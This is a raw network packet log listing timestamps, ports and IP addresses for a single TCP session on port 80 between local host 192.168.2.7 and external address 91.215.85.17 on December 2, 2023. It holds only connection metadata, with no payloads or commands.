Dec 2, 2023 18:01:55.395025015 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.395041943 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.395046949 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.395086050 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.395112038 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.395128965 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.395153999 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.395169973 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.395170927 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.395205975 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.395207882 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.395226002 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.395276070 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.395292044 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.395306110 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.395308971 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.395334005 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.395342112 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.395412922 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.395430088 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.395431995 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.395448923 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.395469904 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.395488977 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.395495892 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.395514965 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.395558119 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.395576000 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.395613909 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.395620108 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.395632029 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.395668983 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.395673037 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.395687103 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.395709038 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.395726919 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.395737886 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.395752907 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.395792007 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.395811081 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.395829916 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.395848036 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.395858049 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.395867109 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.395873070 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.395888090 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.395906925 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.395917892 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.395925045 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.395942926 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.395975113 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.395977974 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.395982981 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.395996094 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.396018028 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.396033049 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.396039009 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.396074057 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.396094084 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.396168947 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.396188974 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.396207094 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.396213055 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.396224976 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.396262884 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.396274090 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.396280050 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.396298885 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.396317959 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.396336079 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.396375895 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.396413088 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.396431923 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.396450043 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.396459103 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.396469116 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.396477938 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.396503925 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.396567106 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.396576881 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.396583080 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.396600008 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.396620035 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.396639109 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.396681070 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.396698952 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.396717072 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.396738052 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.396754980 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.396759033 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.396773100 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.396806955 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.396817923 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.396826029 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.396877050 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.396894932 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.396915913 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.396933079 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.396950006 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.396966934 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.396986008 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.397000074 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.397017002 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.397022009 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.397042990 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.397092104 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.397119045 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.397173882 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.397186995 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.397253036 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.397283077 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.397295952 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.397303104 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.397321939 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.397341013 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.397357941 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.397372961 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.397376060 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.397397041 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.397412062 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.397481918 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.397490025 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.397506952 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.397526979 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.397536993 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.397546053 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.397563934 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.397583961 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.397599936 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.397599936 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.397615910 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.397635937 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.397653103 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.397660017 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.397670984 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.397721052 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.397730112 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.397747040 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.397766113 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.397777081 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.397783995 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.397840023 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.473256111 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.521091938 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.621423006 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.621506929 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.621552944 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.621592045 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.621596098 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.621639013 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.621680975 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.621700048 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.621720076 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.621754885 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.621764898 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.621813059 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.621819973 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.621855021 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.621896982 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.621933937 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.621937037 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.621978045 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.621994019 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.622014046 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.622052908 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.622057915 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.622097969 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.622136116 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.622174978 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.622176886 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.622221947 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.622237921 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.622261047 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.622299910 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.622308969 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.622340918 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.622378111 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.622419119 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.622423887 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.622458935 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.622477055 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.622499943 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.622541904 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.622545958 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.622580051 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.622618914 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.622658014 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.622658014 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.622703075 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.622716904 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.622740984 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.622780085 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.622786045 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.622819901 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.622857094 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.622895956 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.622899055 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.622936964 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.622956038 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.622973919 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.623013973 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.623022079 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.623055935 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.623094082 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.623130083 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.623138905 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.623167038 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.623203039 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.623209953 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.623255014 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.623259068 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.623296022 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.623332977 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.623370886 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.623380899 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.623409033 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.623447895 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.623451948 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.623490095 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.623501062 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.623528004 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.623568058 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.623609066 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.623624086 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.623646021 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.623682022 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.623687983 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.623728991 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.623742104 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.623766899 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.623806000 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.623811007 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.623846054 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.623883963 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.623920918 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.623928070 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.623966932 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.623981953 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.624006987 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.624049902 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.624088049 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.624114037 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.624129057 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.624164104 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.624171019 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.624211073 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.624227047 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.624252081 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.624294043 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.624331951 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.624351025 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.624370098 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.624407053 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.624409914 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.624454021 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.624469042 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.624490976 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.624531031 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.624538898 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.624571085 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.624609947 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.624649048 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.624654055 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.624691963 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.624707937 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.624730110 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.624772072 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.624778032 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.624813080 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.624850035 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.624888897 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.624890089 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.624928951 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.624948978 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.624969006 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.625009060 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.625010967 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.625051022 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.625087976 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.625128031 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.625135899 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.625168085 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.625194073 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.625206947 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.625257015 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.625268936 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.625309944 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.625349045 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.625375032 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.625394106 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.625433922 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.625443935 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.625474930 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.625513077 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.625550985 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.625551939 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.625574112 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.625596046 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.625637054 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.625677109 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.625679970 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.625718117 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.625731945 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.625756979 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.625796080 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.625806093 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.625835896 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.625873089 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.625911951 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.625914097 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.625955105 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.625973940 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.625994921 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.626034975 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.626041889 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.626077890 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.626115084 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.626152992 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.626158953 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.626195908 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.626215935 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.626235962 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.626276016 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.626279116 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.626317978 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.626354933 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.626393080 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.626403093 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.626435041 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.626460075 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.626473904 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.626513958 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.626518011 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.626554012 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.626590967 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.626638889 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.626643896 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.626686096 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.626703024 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.626725912 CET	80	49713	91.215.85.17	192.168.2.7
